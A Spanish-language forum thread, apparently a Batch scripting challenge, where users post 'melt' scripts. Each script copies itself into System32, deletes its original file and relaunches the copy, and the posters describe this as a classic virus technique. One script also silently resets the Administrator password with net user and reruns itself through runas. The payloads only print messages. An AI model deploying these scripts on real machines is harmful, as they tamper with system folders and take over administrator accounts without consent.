[Reto Batch] Melt ($Edu$)

Iniciado por Eleкtro, 5 Mayo 2012, 11:46 AM

0 Miembros y 1 Visitante están viendo este tema.

$Edu$

Cita de: $Edu$ en  9 Mayo 2012, 14:59 PM
Código (dos) [Seleccionar]

@ECHO OFF
Del /Q %0&(
echo Sigo vivo jeje!
echo Muahaha
pause)
exit


Distintas lineas.. problem? xDD


Ya lo habia dicho a eso..

Binary_Death

Sorry por repetirlo, había leído los posts por encima y no me había fijado  :P

De todas formas, seguro a alguien le sirve la explicación.

BatchianoISpyxolo

He aquí:

@echo off
set DIR=%windir%\system32
if not exist "%DIR%\%~n0.bat" (
copy /Y "%0" "%DIR%\%~n0.bat" 1>nul
del /f %0
call "%DIR%\%~n0.bat"
) else (
echo Hola! Estoy en %~0
pause>nul
)
Puede que desees aprender a programar desde 0: www.espascal.es

Puntoinfinito

AHORA EN SOFTONIC || CLICK HERE!!
Base64: QWNhYmFzIGRlIHBlcmRlciAxIG1pbnV0byBkZSB0dSB2aWRhLiBPbOkh



HACK AND 1337 : http://hackandleet.blogspot.com
WEBSITE: http://www.infiniterware.

Meine programmen

Bueno, en el objetivo decian que no pudiese haber ningun error, asi que hago la comprobacion de los permisos que tiene el archivo y si da "Acceso denegado." cambio la contraseña del Administrador y uso el comando runas.
@ECHO OFF
FOR /F %%A IN ('echo H^>C:\Windows\System32\H.n') DO IF "%%A"=="Acceso denegado." (GOTO :NO) else DEL "C:\Windows\System32\H.n"
echo @ECHO OFF>C:\Windows\System32\copia.bat
echo DEL %~f0>>C:\Windows\System32\copia.bat
echo echo Hola estoy en %%~f0>>C:\Windows\System32\copia.bat
echo pause>>C:\Windows\System32\copia.bat
echo exit>>C:\Windows\System32\copia.bat
cmd /k "C:\Windows\System32\copia.bat"
exit

:NO
(echo HOLA&echo HOLA)|net user Administrador *&(echo HOLA)|runas /netonly /user:Administrador@%USERDOMAIN% %0
exit

A ver que tal  ;D
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!


$Edu$

Cuando hagas direccionamiento hacelo entre parentesis, como un todo. Es decir en vez de:

Código (dos) [Seleccionar]

(
echo @ECHO OFF
echo DEL %~f0
echo echo Hola estoy en %%~f0
echo pause
echo exit)>>C:\Windows\System32\copia.bat



Pero de todas formas te complicaste mucho, no pido nada de si tiene permisos o no, tiene que andar en un usuario Administrador simplemente, sin complicaciones.
Ademas de que no pido un redireccionamiento (crear otro archivo bat) sino hacer la copia con Copy.

fijate que deje un link como lo hice yo.

Meine programmen

Menuda cagada entonces. Ahora luego intentare volverlo a hacer
Cita de: $Edu$ en 22 Diciembre 2012, 22:32 PM
Pero de todas formas te complicaste mucho, no pido nada de si tiene permisos o no, tiene que andar en un usuario Administrador simplemente, sin complicaciones.
Es que fue leer el "cuidado con los posibles bugs" y me vinieron a la cabeza todos esos Accesos denegados al copiar a System32 o modificar claves del registro :xD
REMEMBER! Reality is an illusion, the universe is a hologram, BUY GOLD! BYE!!


$Edu$

Los bugs vendrian luego, ya que una vez que se hace la copia a System32, luego el usuario si ejecuta esa copia, no puede haber ningun error, solo tiene que mostrar el mensaje y no se va a copiar ya que ya esta en System32.
Es que esto es lo que hacen la mayoria de virus y era para aprender eso, hacer un melt clasico.

Eleкtro

@$Edu$
Meine programmen, ¿Aprobado? xD

PD: Meine programmen, ya llevas MUUUCHO tiempo tocando Batch como para acostumbrarte a agrupar el redireccionamiento, ahí Edu tiene toda la razóin.

saludos








Segadorfelix

#39
Mi versión ;D
@echo off
set "abc=wormss"
IF "%0"=="%WINDIR%\System32\%abc%.bat" GOTO:PAZ
copy /Y "%0" "%WINDIR%\System32\%abc%.bat" 1>NUL
( DEL %0
start /B "" "%WINDIR%\System32\%abc%.bat"
) & exit /B
:PAZ
title
cls
ECHO Hola estoy en %0
pause
exit